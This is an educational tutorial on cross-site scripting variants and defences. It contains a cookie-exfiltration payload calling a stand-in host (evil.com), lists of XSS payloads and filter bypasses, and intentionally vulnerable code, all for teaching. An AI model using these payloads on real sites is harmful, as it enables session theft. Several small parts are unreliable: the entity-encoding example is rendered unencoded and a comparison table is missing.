Cross-Site Scripting Variants

Cross-Site Scripting: When the Browser Executes Attacker-Controlled Code

Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. The script executes in the victim's browser with the same origin privileges as the legitimate application, enabling session theft, credential harvesting, defacement, and malware distribution.

Stored XSS (Persistent)

Stored XSS is the most dangerous variant. The malicious script is permanently stored on the server — in a database, comment field, forum post, or user profile — and executes every time a victim views the affected page.

Attack flow:

1. Attacker submits a comment containing <script>fetch('https://evil.com/?c='+document.cookie)</script>
2. The server stores the comment in the database without sanitization
3. Every user who views the comment page has the script execute in their browser
4. The script sends the victim's session cookie to the attacker's server

Real-world example: In 2005, the MySpace Samy worm used stored XSS to propagate to over one million profiles in 20 hours. The payload was stored in profile HTML and executed every time someone viewed the infected profile.

Key characteristic: The attack affects every user who views the compromised content, making it a mass-exploitation vector.

Reflected XSS (Non-Persistent)

Reflected XSS occurs when user input is immediately reflected back in the server's response without being stored. The payload is typically delivered via a crafted URL that the victim must click.

Attack flow:

1. Attacker crafts a URL: https://example.com/search?q=<script>alert(document.cookie)</script>
2. The search endpoint reflects the query parameter into the HTML response without encoding
3. Attacker sends the URL to a victim (via email, social media, etc.)
4. Victim clicks the link, the script executes in their browser

Vulnerable code:

@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'<h1>Results for: {query}</h1>'  # VULNERABLE

Key characteristic: The attack requires social engineering — the victim must click the malicious link. It is not persistent.

DOM-Based XSS

DOM-based XSS is unique because the vulnerability exists entirely in client-side JavaScript. The server sends clean, safe HTML, but unsafe JavaScript manipulates the DOM using attacker-controlled data.

Attack flow:

1. Attacker crafts a URL with a fragment: https://example.com/page#<img src=x onerror=alert(1)>
2. Client-side JavaScript reads location.hash and inserts it into the DOM
3. The injected HTML executes without ever touching the server

Vulnerable code:

// VULNERABLE — writes user-controlled data directly into the DOM
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

Key characteristic: The attack never reaches the server. Traditional server-side WAFs and input filters cannot detect it. Defense must happen in the client-side code.

Comparison Table

XSS Payloads and Context-Aware Defense

Understanding XSS payloads and filter bypasses is essential for both attacking and defending applications. This chapter covers practical payload techniques and the defense mechanisms that stop them.

Common XSS Payloads

Basic script injection:

<script>alert(document.cookie)</script>

Event handler injection (when script tags are blocked):

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

JavaScript URI scheme:

<a href="javascript:alert(1)">Click</a>

Template literal injection (in JavaScript contexts):

${alert(1)}

DOM clobbering:

<form id="cookie"><input name="value"></form>
<!-- Now document.cookie.value exists and can shadow the real cookie -->

Filter Bypass Techniques

Attackers use various techniques to bypass input filters:

Case variation: <ScRiPt>alert(1)</ScRiPt>

Encoding: %3Cscript%3Ealert(1)%3C/script%3E (URL encoding)

Null byte injection: <%00script>alert(1)</script>

Double encoding: %253Cscript%253E (bypasses single-decode filters)

HTML entity encoding: <script>alert(1)</script>

Unicode normalization: <\u0073cript>alert(1)</script>

Attribute breakout: If input is placed inside an attribute, break out with " onmouseover="alert(1)

Context-Aware Output Encoding

The critical defense principle: encode for the specific output context. The same payload requires different encoding depending on where it appears.

HTML body context:

import html
safe = html.escape(user_input)  # < > & " ' become entities

HTML attribute context:

safe = html.escape(user_input, quote=True)  # Also escapes quotes

JavaScript context:

// JSON.stringify for JavaScript string values
const safe = JSON.stringify(userInput);

URL context:

const safe = encodeURIComponent(userInput);

CSS context:

/* Only allow alphanumeric and specific safe characters */
/* Use a strict allow-list approach */

Content Security Policy (CSP)

CSP is a browser-enforced policy that restricts which resources (scripts, styles, images) can load and execute. It is the most effective defense-in-depth against XSS.

Basic CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self'

This policy blocks all inline scripts, external scripts from other domains, and event handlers. Even if an attacker injects <script>alert(1)</script>, the browser refuses to execute it.

Nonce-based CSP (allows specific inline scripts):

Content-Security-Policy: script-src 'nonce-abc123'

<script nonce="abc123">/* trusted inline script */</script>

Practice: Find the XSS

Review this code and identify all XSS vectors:

// Client-side rendering
const params = new URLSearchParams(window.location.search);
const name = params.get('name');

// Vector 1: innerHTML
document.getElementById('welcome').innerHTML = `Welcome, ${name}!`;

// Vector 2: document.write
document.write(`<div>${name}</div>`);

// Vector 3: eval
eval(`console.log('${name}')`);

// Vector 4: setAttribute with javascript: URL
document.getElementById('link').setAttribute('href', name);

All four vectors are exploitable. Vector 1 and 2 allow HTML injection. Vector 3 allows arbitrary JavaScript execution. Vector 4 allows javascript: URI injection. The fix is to use textContent instead of innerHTML, never use eval, and validate URLs against an allow-list of schemes (http, https, mailto).